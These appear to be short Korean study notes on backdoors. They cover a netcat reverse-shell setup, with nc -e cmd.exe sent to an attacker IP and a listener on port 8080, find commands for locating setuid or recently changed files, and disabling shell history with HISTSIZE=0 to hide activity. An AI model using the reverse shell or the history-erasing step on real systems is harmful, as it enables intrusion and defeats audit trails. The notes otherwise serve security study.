hiding backdoors

- netcat 

리버스 텔넷개념으로 주로 사용

당하는 자

nc -e cmd.exe 피고ip 8080

-e : 프로그램 실행

공격자 

nc -l -p 8080

-ㅣ:  listen

-p : port

nc.exe

--------

- 백도어 은닉

- 백도어 찾기

find / -perm 4000

find / -size 5000 -perm 4000

find / -ctime 1

find / -perm -+4000 -exec ls -al {} \;

ctime : 최근 변경된 시간

atime: 접근 시간

mtime: 수정된 시간

history

find /-name .bash_history(각 계정마다 사용했던 명령어들 기록)

.bash_history

/root/.bash_profile -> HISTSIZE=0 (추가)